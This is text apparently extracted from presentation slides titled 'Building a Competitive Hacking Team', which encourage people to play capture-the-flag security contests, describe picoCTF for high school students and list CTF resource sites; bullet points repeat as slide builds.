CTFS AND THE REAL WORLD

- CTF problems have graduated difficulty
CTFS AND THE REAL WORLD

- CTF problems have graduated difficulty
- Playing in a weekend contest is an easy commitment
CTFS AND THE REAL WORLD

- CTF problems have graduated difficulty
- Playing in a weekend contest is an easy commitment
- No barrier to entry (no fees, qualifications, etc)
CTFS AND THE REAL WORLD

- CTF problems have graduated difficulty
- Playing in a weekend contest is an easy commitment
- No barrier to entry (no fees, qualifications, etc)
- As discussed: CTF format helps motivation!
BUILDING A COMPETITIVE HACKING TEAM

CTFS WORK
CTFS WORK

- CTFs don’t just teach skills, but also problem solving
CTFS WORK

- CTFs don’t just teach skills, but also problem solving
- For training in security, CTFs can’t be beat
I WISH I KNEW ABOUT CTFs AS A TEENAGER!

Me
BUILDING A COMPETITIVE HACKING TEAM

PICOCTF

TOASTER WARS
THE COMPUTER HACKING COMPETITION
FOR HIGH SCHOOL STUDENTS
In 2013 PPP created picoCTF
In 2013 PPP created picoCTF

Over 10,000 US high schoolers have played
BUILDING A COMPETITIVE HACKING TEAM

GO DO IT
GO DO IT

- We can’t turn back time, but it’s still not too late to start!
We can’t turn back time, but it’s still not too late to start!

So if you’ve never played in a CTF, go do it!
GO DO IT

- We can’t turn back time, but it’s still not too late to start!
- So if you’ve never played in a CTF, go do it!

(Your teenage self will thank you)
RESOURCES

- ctftime.org
- picoctf.com
- trailofbits.github.io/ctf/
- github.com/ctfs
- github.com/pwning